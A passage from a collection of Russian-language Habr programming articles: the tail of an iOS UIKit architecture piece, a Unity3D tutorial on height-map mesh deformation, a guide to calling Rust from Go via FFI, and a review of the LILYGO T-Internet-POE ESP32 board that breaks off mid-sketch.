С другой стороны, если контроллер сохраняется другим объектом (например, презентером) в MVP, то, если по какой-то причине контроллер будет выгружен, связь между ним и презентером нарушится. И если вы думаете, что трудно случайно выгрузить не тот контроллер, то внимательно почитайте описание `UIViewController.dismiss(animated:completion:)`.
Так что я считаю, что безопаснее всего будет признать контроллер представления королём, и, следовательно, объекты, не относящиеся к UI, разделить на две категории:
1. Объекты с жизненным циклом, равным циклу UI-элементов (например, модель представления).
2. Объекты с жизненным циклом, равным циклу приложения (например, сервис).
### Использование жизненного цикла контроллера представления
Почему так велик соблазн засунуть весь код в контроллер представления? Да потому что в контроллере у нас есть доступ ко всем данным и текущему состоянию представления. Если в модели или презентере нужно иметь доступ к жизненному циклу представления, то придётся передавать его вручную, и это нормально, но придётся писать больше кода.
Но есть и другое решение. Поскольку контроллеры представлений способны работать друг с другом, Соруш Ханлоу предложил воспользоваться этим для [распределения работы между маленькими контроллерами представлений](http://khanlou.com/2016/02/many-controllers/).
Можно пойти ещё дальше и применить универсальный способ подключения к жизненному циклу контроллера представлений – `ViewControllerLifecycleBehaviour`.
```
public protocol ViewControllerLifecycleBehaviour {
func afterLoading(_ viewController: UIViewController)
func beforeAppearing(_ viewController: UIViewController)
func afterAppearing(_ viewController: UIViewController)
func beforeDisappearing(_ viewController: UIViewController)
func afterDisappearing(_ viewController: UIViewController)
func beforeLayingOutSubviews(_ viewController: UIViewController)
func afterLayingOutSubviews(_ viewController: UIViewController)
}
```
Объясню на примере. Допустим, нам нужно определить скриншоты в котроллере представления чата, но только когда тот выведен на экран. Если вынести эту задачу в VCLBehaviour, то всё становится проще простого:
```
open override func viewDidLoad() {
let screenshotDetector = ScreenshotDetector(notificationCenter:
NotificationCenter.default) {
// Screenshot was detected
}
self.add(behaviours: [screenshotDetector])}
```
В реализации поведения тоже ничего сложного:
```
public final class ScreenshotDetector: NSObject,
ViewControllerLifecycleBehaviour {
public init(notificationCenter: NotificationCenter,
didDetectScreenshot: @escaping () -> Void) {
self.didDetectScreenshot = didDetectScreenshot
self.notificationCenter = notificationCenter
}
deinit {
self.notificationCenter.removeObserver(self)
}
public func afterAppearing(_ viewController: UIViewController) {
self.notificationCenter.addObserver(self, selector:
#selector(userDidTakeScreenshot),
name: .UIApplicationUserDidTakeScreenshot, object: nil)
}
public func afterDisappearing(_ viewController:
UIViewController) {
self.notificationCenter.removeObserver(self)
}
@objc private func userDidTakeScreenshot() {
self.didDetectScreenshot()
}
private let didDetectScreenshot: () -> Void
private let notificationCenter: NotificationCenter
}
```
Поведение также можно тестировать изолированно, поскольку оно закрыто нашим протоколом `ViewControllerLifecycleBehaviour`.
Подробности реализации: [здесь](https://gist.github.com/BohdanOrlov/e4be8299454469b201d10b0594f03964).
Поведение можно использовать в задачах, зависящих от VCL, например, в аналитике.
### Использование цепочки ответчиков
Допустим, глубоко в иерархии представлений у вас есть кнопка, и вам нужно всего лишь сделать презентацию нового контроллера. Обычно для этого внедряют контроллер представления, из которого делается презентация. Это правильный подход. Но иногда из-за этого появляется переходная зависимость, используемая теми, кто находится не в середине, а в глубине иерархии.
Как вы уже, наверное, догадались, есть другой способ решения. Для поиска контроллера, способного презентовать другой контроллер представления, можно использовать цепочку ответчиков.
Например:
```
public extension UIView {
public func viewControllerForPresentation()
-> UIViewController? {
var next = self.next
while let nextResponder = next {
if let viewController = next as? UIViewController,
viewController.presentedViewController == nil,
!viewController.isDetached {
return viewController
}
next = nextResponder.next
}
return nil
}
}
public extension UIViewController {
public var isDetached: Bool {
if self.viewIfLoaded?.window?.rootViewController == self
return false
}
return self.parent == nil &&
self.presentingViewController == nil
}
}
```
### Использование иерархии представлений
Шаблон [Entity–component–system](https://en.wikipedia.org/wiki/Entity%E2%80%93component%E2%80%93system) (сущность–компонент–система) – это прекрасный способ внедрения аналитики в приложение. Мой коллега реализовал такую систему и это оказалось очень удобно.
Здесь «сущность» – это UIView, «компонент» – часть данных отслеживания, «система» – сервис отслеживания аналитики.
Идея в том, чтобы дополнить UI-представления соответствующими данными отслеживания. Затем сервис отслеживания аналитики сканирует N раз/ секунд видимую часть иерархии представлений и записывает данные отслеживания, которые ещё не были записаны.
При использовании такой системы от разработчика требуется только добавить данные отслеживания вроде имён экранов и элементов:
```
class EditProfileViewController: UIViewController {
override func viewDidLoad() {
...
self.trackingScreen =
TrackingScreen(screenName:.screenNameMyProfile)
}
}
class SparkUIButton: UIButton {
public override func awakeFromNib() {
...
self.trackingElement =
TrackingElement(elementType: .elementSparkButton)
}
}
```
Обход иерархии представлений – это BFS, при котором игнорируются представления, которые не видны:
```
let visibleElements = Class.visibleElements(inView: window)
for view in visibleElements {
guard let trackingElement = view.trackingElement else {
continue
}
self.trackViewElement(view)
}
```
Очевидно, что у этой системы есть ограничения производительности, которые нельзя игнорировать. Избежать перегрузки основного потока выполнения можно разными способами:
1. Не слишком часто сканировать иерархию представлений.
2. Не сканировать иерархию представлений при прокрутке (используйте более подходящий режим цикла исполнения (run loop mode)).
3. Сканируйте иерархию только тогда, когда уведомление публикуется в `NSNotificationQueue` с помощью `NSPostWhenIdle`.
### P. S.
Надеюсь, мне удалось показать, как можно «ужиться» с UIKit, и вы нашли что-то полезное для своей повседневной работы. Или по крайней мере получили пищу для размышлений. | https://habr.com/ru/post/341542/ | null | ru | null |
# Unity3D. Балуемся с мешем. Часть 2 — Деформация меша с помощью карты высот
В [первой части](https://habrahabr.ru/post/328498/) мы рассмотрели как сгенерировать меш, используя карту высот. Прошло достаточно времени, поэтому думаю, что пришло время рассмотреть способы деформации меша с помощью той же карты высот. Всех заинтересованных прошу под кат.
Содержание
==========
1. [Unity3D. Балуемся с мешем. Часть 1 — Генерация меша с помощью карты высот](https://habrahabr.ru/post/328498/)
2. [Unity3D. Балуемся с мешем. Часть 2 — Деформация меша с помощью карты высот](https://habrahabr.ru/post/328564/)
3. [Unity3D. Балуемся с мешем. Часть 3 — Деформация меша, основанная на коллизиях](https://habrahabr.ru/post/329146/)
Здесь нам уже понадобится более глубокое понимание меша, поэтому...
Рассмотрим меш более подробно
=============================
Из прошлой статьи мы узнали какими атрибутами владеет меш и для чего они нужны, но поверхностно. Сейчас давайте проясним более подробно для чего они нужны и за что отвечают.
Чтобы не бегать туда-сюда, приведём список того, чем владеет меш:
* vertices — вершины
* triangles — треугольники
* normals — нормали
* uv — текстурные координаты
* tangents — касательные
Касательные не являются необходимой частью, так что их трогать не будем. Для деформации по карте высот нам будут нужны UV координаты и нормали. Ну и чтобы разобраться со всем этим, давайте попробуем понять самую простую фигуру.
Нет, это не Plane. Plane имеет гораздо больше треугольников, вершин, uv координат и прочих прелестей. Чтобы убедиться в этом, вы можете создать Plane и включить отображение типа `Wireframe`. Так что же это? Можно сказать, это полигон.
У него есть:
* 4 vertices {0, 1, 2, 3}
* 4 edges
* 4 normals {(0, 1, 0) x 4}
* 4 UVs {(0, 0), (1, 0), (0, 1), (1, 1)}
* 2 triangles {(0, 2, 3), (3, 1, 0)}
* 1 face
* 1 surface
Переведём на язык Unity количество этого всего
* mesh.triangles.Length = 6
* mesh.vertices.Length = 4
* mesh.normals.Length = 4
* mesh.uv.Length = 4
А теперь попробуем создать это в Unity с помощью кода. Создадим 4 сферы и разместим их в родителя с названием "vertices". Напишем скрипт `TestPoly`, который повесим на объект "vertices" или куда угодно.
**TestPoly.cs**
```
using UnityEngine;
public class TestPoly : MonoBehaviour
{
// наши вершины
public GameObject v0;
public GameObject v1;
public GameObject v2;
public GameObject v3;
public Material mat; // материал, чтобы объект не был розовым
GameObject poly;
Mesh mesh;
void Start()
{
poly = new GameObject("poly");
mesh = new Mesh();
Vector3[] vertices = new Vector3[] {
// задаём позиции вершин
v0.transform.position,
v1.transform.position,
v2.transform.position,
v3.transform.position,
};
Vector3[] normals = new Vector3[] {
// все помнят, что нормаль всегда перпендикулярна плоскости из вершин?
new Vector3(0, 1, 0),
new Vector3(0, 1, 0),
new Vector3(0, 1, 0),
new Vector3(0, 1, 0),
};
Vector2[] UVs = new Vector2[] {
// U V
new Vector2(0, 0),
new Vector2(1, 0),
new Vector2(0, 1),
new Vector2(1, 1),
// Аналог X и Y, но названы U и V, чтобы не путаться
};
int[] triangles = new int[] {
0, 2, 3, // первый треугольник
3, 1, 0, // второй треугольник
};
mesh.vertices = vertices;
mesh.normals = normals;
mesh.uv = UVs;
mesh.triangles = triangles;
poly.AddComponent().material = mat; // чтобы отобразить наш меш; сразу вешаем материал
poly.AddComponent().sharedMesh = mesh; // чтобы спроецировать наш меш; сразу указываем меш
}
}
```
Отлично, мы видим наш меш.
Давайте добавим в `Update` возможность его изменять по вершинам, чтобы было немного интереснее.
**Update в TestPoly.cs**
```
void Update()
{
// чтобы не заморачиваться с Raycast'ом
// изменения будем производить из сцены
Vector3[] vertices = new Vector3[] {
// получаем новые позиции наших вершин
v0.transform.position,
v1.transform.position,
v2.transform.position,
v3.transform.position,
};
mesh.vertices = vertices; // и применяем их к мешу
}
```
Чтобы протестировать деформацию, разделите окно "Game" и "Editor".
**Любой меш состоит из таких полигонов.** Попробуйте поизменять массив UVs, triangles и normals и понаблюдайте за результатом. Если вы готовы, давайте двигаться дальше.
Теория деформации с помощью карты высот
=======================================
В теории хотелось бы, произвести деформацию меша, пройдясь по каждому пикселю карты высот, взяв grayscale и изменив высоту вершины меша относительно полученного значения grayscale, помноженного на какую-нибудь константу.
Но на практике… Как мы можем помнить, карта высот содержит в себе максимум 65025 пикселей, которые мы можем преобразовать в вершины, минимум — 1. Что, если деформируемый меш содержит в себе не такое же количество вершин? Тут-то нам и помогут UV координаты.
Нам нужно будет перебрать все вершины. И сдвинуть каждую вдоль её нормали на значение grayscale, полученное из карты высот, которое мы получим по текстурным координатам и умножим на константу.
Пишем расширение
================
По традиции создаём класс, наследуемый от `ParentEditor`. Его можно найти в [предыдущей статье](https://habrahabr.ru/post/328498/). Наполним класс переменными и сделаем базовый `OnGUI`.
**MeshDeformator**
```
using UnityEngine;
using UnityEditor;
public class MeshDeformator : ParentEditor
{
public GameObject sourceGameObject;
public string mname = "Enter name: ";
public Texture2D heightMap;
public float height = 35f; // множитель смещения
[MenuItem("Tools/Mesh Deformator")]
static void Init()
{
MeshDeformator md = (MeshDeformator)GetWindow(typeof(MeshDeformator));
md.Show();
}
void OnGUI()
{
sourceGameObject = (GameObject)EditorGUILayout.ObjectField("Game Object to deform", sourceGameObject, typeof(GameObject), true);
mname = EditorGUILayout.TextField("Mesh name", mname);
heightMap = (Texture2D)EditorGUILayout.ObjectField("Height Map", heightMap, typeof(Texture2D), false);
height = EditorGUILayout.Slider("Height scale", height, -100, 100);
}
}
```
Добавим в класс метод `DeformMesh`
**DeformMesh**
```
public void DeformMesh()
{
Mesh temp_mesh = new Mesh();
// копируем меш с помощью метода ParentEditor
temp_mesh = CopyMesh(sourceGameObject.GetComponent().sharedMesh);
GameObject temp\_go = new GameObject(sourceGameObject.name + ".clone");
temp\_go.transform.position = sourceGameObject.transform.position;
// для удобства скопируем вершины и UV координаты
Vector3[] vertices = temp\_mesh.vertices;
Vector2[] UVs = temp\_mesh.uv;
for (int i = 0; i < vertices.Length; i++)
{
// получаем высоту пикселя относительно количества вершин
float pixelHeight = heightMap.GetPixel((int)(UVs[i].x \* (heightMap.width - 1) + 0.5), (int)(UVs[i].y \* (heightMap.height - 1) + 0.5)).grayscale;
// сдвигаем высоту по вектору нормали
vertices[i] += (temp\_mesh.normals[i] \* pixelHeight) \* height;
}
temp\_mesh.vertices = vertices; // присваиваем вершины
temp\_mesh.RecalculateNormals(); // уже использовали
temp\_mesh.RecalculateBounds(); // обновляем bounds
temp\_go.AddComponent().sharedMesh = temp\_mesh;
temp\_go.AddComponent().material = sourceGameObject.GetComponent().sharedMaterial;
sourceGameObject = temp\_go;
}
```
Вы могли увидеть, что мы использовали два метода: `RecalculateNormals()` и `RecalculateBounds()`. Первый мы уже использовали, а вот `RecalculateBounds()` ещё нет. Что же он делает? Грубо говоря, он делает перерасчёт mesh.bounds (границ меша). То есть он обновляет данные о нашем каркасе.
Давайте объединим всё в один скрипт и добавим возможность сохранить наш меш и получившийся объект в префаб.
**MeshDeformator.cs**
```
using UnityEngine;
using UnityEditor;
public class MeshDeformator : ParentEditor
{
public GameObject sourceGameObject;
public string mname = "Enter mesh name: ";
public Texture2D heightMap;
public float height = 35f;
[MenuItem("Tools/Mesh Deformator")]
static void Init()
{
MeshDeformator md = (MeshDeformator)GetWindow(typeof(MeshDeformator));
md.Show();
}
void OnGUI()
{
sourceGameObject = (GameObject)EditorGUILayout.ObjectField("Game Object to deform", sourceGameObject, typeof(GameObject), true);
mname = EditorGUILayout.TextField("Mesh name", mname);
heightMap = (Texture2D)EditorGUILayout.ObjectField("Height Map", heightMap, typeof(Texture2D), false);
height = EditorGUILayout.Slider("Height scale", height, -100, 100);
if (GUILayout.Button("Deform Mesh", GUILayout.Height(20)))
{
DeformMesh();
}
if (GUILayout.Button("Save", GUILayout.Height(20)))
{
CreatePaths(); // метод ParentEditor
Mesh updated_mesh = sourceGameObject.GetComponent().sharedMesh;
AssetDatabase.CreateAsset(updated\_mesh, "Assets/MeshTools/Meshes/Updated/" + mname + ".asset");
PrefabUtility.CreatePrefab("Assets/MeshTools/Prefabs/Updated/" + mname + ".prefab", sourceGameObject);
// сохраняем меш и префаб в Assets/MeshTools/Updated/Meshes/mname
// Assets/MeshTools/Updated/Prefabs/mname соответственно
}
}
public void DeformMesh()
{
Mesh temp\_mesh = new Mesh();
temp\_mesh = CopyMesh(sourceGameObject.GetComponent().sharedMesh);
GameObject temp\_go = new GameObject(mname + ".clone");
temp\_go.transform.position = sourceGameObject.transform.position;
Vector3[] vertices = temp\_mesh.vertices;
Vector2[] UVs = temp\_mesh.uv;
for (int i = 0; i < vertices.Length; i++)
{
float pixelHeight = heightMap.GetPixel((int)(UVs[i].x \* (heightMap.width - 1) + 0.5), (int)(UVs[i].y \* (heightMap.height - 1) + 0.5)).grayscale;
vertices[i] += (temp\_mesh.normals[i] \* pixelHeight) \* height;
}
temp\_mesh.vertices = vertices;
temp\_mesh.RecalculateNormals();
temp\_mesh.RecalculateBounds();
temp\_go.AddComponent().sharedMesh = temp\_mesh;
temp\_go.AddComponent().material = sourceGameObject.GetComponent().sharedMaterial;
sourceGameObject = temp\_go;
}
}
```
Тестируем
=========
Я взял высокополигональную сферу, количество вершин: 1324. И отдеформировал её с разными Height scale факторами.
На изображении ниже вы можете видеть:
* Стандартная сфера со Scale = (10, 10, 10)
* Недеформированная сфера
* Слегка деформированная сфера (Height scale = 1.5)
* Очень деформированная сфера (Height scale = 10)
Недосказанность относительно нормалей
=====================================
Когда мы создавали полигон, для нормали я задал `Vector3.up`, как константу. Это было бы корректно, если бы мой полигон находился под другим углом (был направлен лицом вверх). Но мой полигон стоит и смотрит в камеру, и поэтому для него корректна нормаль (0, 0, -1), то есть направленная в обратную сторону от камеры или `Vector3.back`.
Для простоты понимания на изображении ниже корректная нормаль отображена зелёным, некорректная — красным, а касательные к нормали — синим.
 | https://habr.com/ru/post/328564/ | null | ru | null |
# Вызов Rust функции из Go
На Хабре в свое время была статья о том, [как вызвать Rust код из Go](https://habr.com/ru/post/337348/). Статья неплохая, но довольно сложная для понимания и на самом деле отталкивающая новичков от желания смотреть в сторону обоих языков. Цель этого поста не столько залезть в «кишки» кросс-языковых вызовов, сколько показать насколько просто это можно сделать.
Далеко ходить не будем и возмем [пример](https://rurust.github.io/rust_book_ru/rust-inside-other-languages.html) из книги по изучению языка Rust.
Все, что делает этот пример, это запускает 10 потоков, внутри которых инкрементирует переменую 'x' до 5 миллионов и выводит сообщение о завершении потока.
```
use std::thread;
#[no_mangle]
pub extern "C" fn process() {
let handles:Vec<_> = (0..10).map(|_|{
thread::spawn(||{
let mut x = 0;
for _ in 0..5_000_000 {
x += 1
}
x
})
}).collect();
for h in handles {
println!("Thread finished with count={}",
h.join().map_err(|_| "Could not join thread!").unwrap());
}
println!("Done!");
}
```
Также нужно отредактировать cargo-файл добавив в него строку
> crate-type = [«cdylib»]
, в результате чего будет создана библиотека с возможностью вызова фукции через [Foreign Function Interface (FFI)](https://en.wikipedia.org/wiki/Foreign_function_interface).
> Стоит заметить, что libembed.dylib — это библиотека на Mac OS, на Linux будет libembed.so, а на Windows — libembed.dll
>
>
>
> *Спасибо: [bingo347](https://habr.com/ru/users/bingo347)*
>
>
**Cargo.toml**`[package]
name = "embed"
version = "0.1.0"
[lib]
crate-type = ["cdylib"]`
В целом это все, что вы должны сделать в Rust-библиотеке. Пример из книги описывает это более детально и останаливаться на этом мы не будем.
Компилируем библиотеку командой:
> cargo build --release
Теперь наша цель вызвать этот код из Go-приложение. Создаем простое приложение и внутри нашего проекта, добавляем папку lib, в которую копируем файл **/target/release/libembed.dylib**. Внутри создаем файл с названием функции и описываем его сигнатуру вызова.
**lib/process.h**`void process();`
Внутри Go-файл добаляем вот такие директивы и наш main.go будет выглядеть вот так
```
package main
/*
#cgo LDFLAGS: -L./lib -lembed
#include "./lib/process.h"
*/
import "C"
func main() {
C.process()
}
```
Собираем проект командой
> go build -ldflags="-r /lib" main.go
Обратите внимание на параметр ldflags, в данном случае все, что мы делаем это устанавливаем путь к ELF dynamic linker.
Все. Запускаем программу и получаем вывод.
Также отдельно стоит сказать, что можно передать зачения из Go-программы в Rust-библиотеку. Для этого преобразуем функцию в Rust-библиотеке, чтобы она принимала строковое значение.
```
extern crate libc;
use std::thread;
use std::ffi::CStr;
#[no_mangle]
pub extern "C" fn process(name: *const libc::c_char) {
let buf_name = unsafe { CStr::from_ptr(name).to_bytes() };
let str_name = String::from_utf8(buf_name.to_vec()).unwrap();
let handles:Vec<_> = (0..10).map(|_|{
thread::spawn(||{
let mut x = 0;
for _ in 0..5_000_000 {
x += 1
}
x
})
}).collect();
for h in handles {
println!("{}:Thread finished with count={}\n",
str_name,
h.join().map_err(|_| "Could not join thread!\n").unwrap());
}
println!("Done!");
}
```
Собираем наш проект, снова копируем библиотеку в папку lib, модифицируем файл process.h вот таким образом
> void process(char \*name);
Передаем строку из Go-приложения *(в нашем случае: «Hello from Golang»)*.
```
package main
/*
#cgo LDFLAGS: -L./lib -lembed
#include "./lib/process.h"
*/
import "C"
func main() {
C.process(C.CString("Hello from Golang !!"))
}
```
Все. Запускаем программу и получаем вывод.
 | https://habr.com/ru/post/496192/ | null | ru | null |
# Через тернии к звёздам или LILYGO TTGO T-Internet-POE ESP32 LAN8720A
Попалась мне на глаза плата **LILYGO TTGO T-Internet-POE ESP32 LAN8720A** и конечно я не мог пройти мимо такой интересной новинки: ESP32, LAN8720A, POE, SD карта, Wi-Fi+Ethernet… Было интересно пощупать это произведение сумрачного китайского гения своими руками и протестировать в реальной работе, ведь TTX платы сулили очень интересные перспективы для использования в IoT, DIY и вообще в области «Wi-Fi+Ethernet и на что фантазии хватит».
Но, как всегда, путь от рекламных проспектов на сайтах продавцов и производителя до запуска платы и проведения на ней тестов оказался очень непростым и тернистым. Далее предлагаю вашему вниманию отчёт о моих увлекательных изысканиях по этой теме.
Камень в огород LILYGO
----------------------
По моим наблюдениям (многие) производители «железа» страдают одной родовой болезнью — полным отсутствием компетенции в маркетинге и вообще элементарного понимания того, что свои продукты они делают для людей.
Хорошим примером тут может служить [LILYGO TTGO T-Internet-POE ESP32 LAN8720A](http://www.lilygo.cn/claprod_view.aspx?TypeId=21&Id=1344&FId=t28:21:28) (далее для краткости будем называть эту плату T-Internet-POE). Производитель сделал интересную плату, но… не сделал больше ничего:
* нет нормальной распиновки контроллера
* нет принципиальной электрической схемы
* нет вменяемого описания применения платы и типовых паттернов её использования
* нет технических пояснений по работе отдельных составляющих платы
* нет примеров кода (есть 1 (!) скетч на «отвали, мальчик, не мешай работать»)
* нет сайта с документацией
* нет форума с грамотными и мотивированными модераторами
* нет популярных и мотивирующих статей для тех, кто интересуется этим контроллером, но не знает (не понимает) где он мог бы его применить для своих целей
* и нет ещё множества вещей, которые должны были бы быть
Короче, нет вообще ничего и каждый, кто рискнёт купить T-Internet-POE, должен быть безупречным воином DIY, иначе у него нет ни одного шанса выстоять в этой битве с LILYGO. Много ли среди нас таких?
И как при таком подходе к делу они вообще умудряются что-то продавать? И насколько выросли бы их продажи, если бы они на минутку отложили в сторону паяльник и вспомнили о своих покупателях?
Вопросы риторические, но так или иначе далее мне придётся проделать всю работу за технический и маркетинговый отделы LILYGO.
В чём фишка?
------------
Говоря простыми словами, на этой плате удалось более-менее удачно объединить в одном устройстве ESP32 (Wi-Fi), Ethernet, POE и ещё добавить к этому торту вишенку в виде microSD картридера. Из одного только сочетания этих составляющих сразу вытекает множество интересных вариантов применения этой платы:
* работа по Wi-Fi с резервом в виде Ethernet канала
* работа по Ethernet с резервом в виде Wi-Fi подключения
* обслуживание одновременно и Wi-Fi и Ethernet линков
* роутер между Wi-Fi и Ethernet в обе стороны
* веб-сервер на два интерфейса
* разные веб-сервера на разных интерфейсах
* питание (удалённого) контроллера по POE
И множество других интересных вариантов (кстати, не нужно забывать, что кроме непосредственно сетевой составляющей, плата имеет GPIO выводы и может использоваться по своему прямому назначению, то есть в качестве IoT контроллера).
Как вы видите, сфера применения этой платы в IoT и DIY ограничена только вашей фантазией и вашими потребностями и в целом T-Internet-POE как устройство смотрится очень многообещающе.
Далее давайте попытаемся разобраться как со всем эти великолепием совладать, что, учитывая практически полное отсутствие информации по плате, является не такой простой задачей.
Технические характеристики
--------------------------
Мы здесь не будем приводить полный список всех технических характеристик платы — вот с чем с чем, а с этим на сайтах продавцов и производителя проблем нет (проблема в том, что кроме этих характеристик там больше ничего нет). Приведём здесь только список ключевых элементов платы:
* ESP32-WROOM (4 МБ)
* LAN8720A (Ethernet PHY)
* POE 802.3af
* microSD картридер
* 12 GPIO пинов для внешних подключений
О чём навскидку нам говорит такая конфигурация? О том, что при использовании этой платы в качестве веб-сервера, файлы можно хранить как на microSD карте памяти, так и во внутренней памяти модуля ESP32 (или и там и там сразу).
При этом 12 свободных GPIO производят двойственное впечатление — с одной стороны это уже «кое-что» и значительно лучше чем на ESP8266, а с другой стороны после проектов на Mega 2560 с её десятками GPIO, 12 пинов смотрятся очень и очень скромно и сильно ограничивают возможности разработки — тут нужно будет либо изобретать какие-то расширители портов, либо делать тандемные сборки с другими контроллерами.
Варианты контроллера
--------------------
При ближайшем рассмотрении оказывается, что под одним названием существуют два разных контроллера — один на ESP32-WROOM, а второй на ESP32-WROVER-B, что сходу и не разглядишь — на вид платы практически одинаковые и можно играть в игру «найди 10 отличий».
Мне достался контролер на ESP32-WROOM, поэтому дальнейшее повествование будет относится к нему.
Программатор
------------
Инженеры LILYGO так далеко оторвались от своих пользователей, что их решения не всегда можно понять. К таким решениям относится создание ими отдельной платы программатора на чипе CP2104 для контроллера T-Internet-POE.
Зачем? Зачем нужен отдельный программатор, когда этот узел можно было интегрировать на саму плату контроллера или попросту использовать стандартные USB-TTL переходники (как делают все остальные производители железа)? Ответ, видимо, знают только разработчики LILYGO (но простим им этот маленький креатив).
Но мало того, что разработчики LILYGO сделали непонятную вещь, они ещё и умудрились сделать её криво:
* во-первых они применили горячо любимые народом пины с шагом 2,0 мм
* во-вторых они предусмотрели установку разъёма на обратную (!) сторону платы
(Разработчикам такого решения я бы порекомендовал иногда отвлекаться от работы и уделять время отдыху.)
В результате получился какой-то странный монстр. И всё бы ничего, если бы проблема ограничивалась только эстетической составляющей, но тут вылезают более серьёзные проблемы:
* если устанавливать и крепить плату в нормальном положении, то пины программатора оказываются снизу платы и к ним невозможно подключиться без демонтажа контроллера;
* если работать с платой без крепления, то разъёмы с шагом 2,0 не обеспечивают должной жёсткости и вся конструкция грозит развалиться в любой момент и всё вокруг позамыкать.
В качестве нивелирования этого косяка разработчиков, можно порекомендовать припаивать линейку пинов с верхней стороны платы и сделать (или купить, если он продаётся) 6-пиновый 2,0 мм гибкий переходник.
Распиновка
----------
Для начала приведём оригинальный вариант распиновки (окультуренный насколько это было возможно). Для тех «кто в курсе» информации достаточно, остальные мало что поймут из этой «китайской грамоты».
Попробуем перевести это на русский язык и вообще разобраться с тем, что там происходит с распиновкой элементов и распределением ресурсов контроллера.
Всего на ESP32 имеется 40 пинов (D0–D39) из них 14 пинов
D6–D11, D20, D24, D28-D31, D37, D38
мы исключаем из рассмотрения как практически неиспользуемые (по разным причинам, подробный разбор назначения этих пинов выходит за рамки этой статьи). Остаются:
### Пины подключения Ethernet чипа LAN8720A
D18 – ETH\_MDIO\_PIN
D19 – ETH\_TX\_D0
D21 – ETH\_TX\_EN
D22 – ETH\_TX\_D1
D23 – ETH\_MDC\_PIN
D25 – ETH\_RX\_D0
D26 – ETH\_RX\_D1
D27 – ETH\_RX\_CRS
причём, D18 и D23 устанавливаются в скетче, а остальные 6 пинов чипа LAN8720A являются «стандартными» и задаются в библиотеке.
Поскольку производитель постеснялся предоставить принципиальную схему контроллера, то я здесь могу только привести аналогичную типовую схему подключения физики Ethernet на LAN8720A.
К LAN8720A также относится пин тактирования, который на плате T-Internet-POE подключён к D17 (тоже выбирается в скетче):
D17 – ETH\_CLOCK
и пин сброса
D5 – NRST
### microSD картридер
microSD картридер подключён на HSPI:
D2 – SD\_MISO
D12 – SD\_CS
D14 – SD\_SCLK
D15 – SD\_MOSI
и в случае своего использования «забирает» свободные для внешних подключений и выведенные на плату пины D2, D14, D15. Вопрос «что выгоднее — использовать картридер и потерять 3 из 12-и свободных пинов или сохранить 3 лишних GPIO и отказаться от картридера» — сродни вопросу «что лучше: слон или конь?» и вам каждый раз придётся отвечать на него при использовании платы T-Internet-POE.
### Прочие пины
У нас остаются пины D0 (ETH\_CLOCK, не задействован в этом качестве) и D1 (TX0) и D3 (RX0).
### Свободные пины
Теперь переходим к самому интересному — описанию свободных пинов, выведенных на плату контроллера.
Первой идёт группа D34, D35, D36, D39, работающая только на вход. Лучше конечно на вход, чем вообще ничего, но при таком дефиците GPIO было бы гораздо лучше, если бы эти четыре пина были полноценными GPIO.
И затем 8 полноценных GPIO, которые вы можете использовать в своих проектах. Тут нужно помнить, что хоть эти пины и являются полноценными GPIO, но некоторые из них работают весьма своеобразно (например меняют потенциал на старте контроллера и т. п.). Поэтому прежде, чем к ним что-то подключать, нужно специально выяснять и уточнять эти моменты.
D2 (SD\_MISO)
D4
D12
D14 (SD\_SCLK)
D15 (SD\_MOSI)
D16
D32
D33
Как говорится, вот тебе, мой юный друг программирования и микроконтроллеров, 8 GPIO и ни в чём себе не отказывай.
POE
---
Тут нужно ещё сказать несколько слов о поддержке POE, поскольку это является одним из достоинств этой платы и одной из её «фишек» и для многих это будет причиной, по которой они захотят её купить и использовать.
Здесь реализована полноценная поддержка стандарта POE 802.3af с развязкой и управлением питанием на чипе SI3404.
Меня дистанционная запитка контроллера не очень интересует, поэтому этот аспект работоспособности T-Internet-POE я не тестировал, но, судя по всему, с POE здесь проблем нет.
Программная поддержка
---------------------
Как вы сами понимаете, работать с T-Internet-POE можно при помощи любых программных сред, имеющих представление об этом железе, в том числе в нативном SDK (и вероятно это наиболее правильный вариант), но мы попытаемся выяснить, что можно выжать из этой железки при помощи Arduino IDE.
В качестве программной среды для экспериментов использовались Arduino IDE версии 1.8.5 и ESP32-Arduino версии 1.0.5 (последняя сборка на момент написания статьи).
Сам процесс установки поддержки ESP32 в Arduino IDE я описывать не буду потому, что этому вопросу посвящено огромное количество материалов в интернете, во всех нюансах описывающих этот процесс.
Упомяну здесь только один момент: плюс ко всему, чего не имеет этот контроллер, он ещё не имеет и нативной поддержки в ESP32-Arduino версии 1.0.5. Поэтому в качестве контроллера в менеджере плат выбирался «ESP32 DEV Module» с настройками:
Flash Mode: DIO
Flash Size: 4MB (32 Mb)
Partition Scheme: 4MB (1,2MB/1,5MB)
Стандартный скетч
-----------------
Ниже приведён скетч, которым нас порадовал [производитель платы](https://github.com/Xinyuan-LilyGO/LilyGO-T-ETH-POE). Там особенно комментировать нечего, он просто инициализирует Ethernet интерфейс и посылает запросы к серверу в интернете.
**Полный код скетча от производителя платы**
```
/*
This sketch shows how to configure different external or internal clock sources for the Ethernet PHY
*/
#include
#include
#include
#define SD\_MISO 2
#define SD\_MOSI 15
#define SD\_SCLK 14
#define SD\_CS 13
/\*
\* ETH\_CLOCK\_GPIO0\_IN - default: external clock from crystal oscillator
\* ETH\_CLOCK\_GPIO0\_OUT - 50MHz clock from internal APLL output on GPIO0 - possibly an inverter is needed for LAN8720
\* ETH\_CLOCK\_GPIO16\_OUT - 50MHz clock from internal APLL output on GPIO16 - possibly an inverter is needed for LAN8720
\* ETH\_CLOCK\_GPIO17\_OUT - 50MHz clock from internal APLL inverted output on GPIO17 - tested with LAN8720
\*/
// #define ETH\_CLK\_MODE ETH\_CLOCK\_GPIO0\_OUT // Version with PSRAM
#define ETH\_CLK\_MODE ETH\_CLOCK\_GPIO17\_OUT // Version with not PSRAM
// Pin# of the enable signal for the external crystal oscillator (-1 to disable for internal APLL source)
#define ETH\_POWER\_PIN -1
// Type of the Ethernet PHY (LAN8720 or TLK110)
#define ETH\_TYPE ETH\_PHY\_LAN8720
// I²C-address of Ethernet PHY (0 or 1 for LAN8720, 31 for TLK110)
#define ETH\_ADDR 0
// Pin# of the I²C clock signal for the Ethernet PHY
#define ETH\_MDC\_PIN 23
// Pin# of the I²C IO signal for the Ethernet PHY
#define ETH\_MDIO\_PIN 18
#define NRST 5
static bool eth\_connected = false;
void WiFiEvent(WiFiEvent\_t event)
{
switch (event) {
case SYSTEM\_EVENT\_ETH\_START:
Serial.println("ETH Started");
//set eth hostname here
ETH.setHostname("esp32-ethernet");
break;
case SYSTEM\_EVENT\_ETH\_CONNECTED:
Serial.println("ETH Connected");
break;
case SYSTEM\_EVENT\_ETH\_GOT\_IP:
Serial.print("ETH MAC: ");
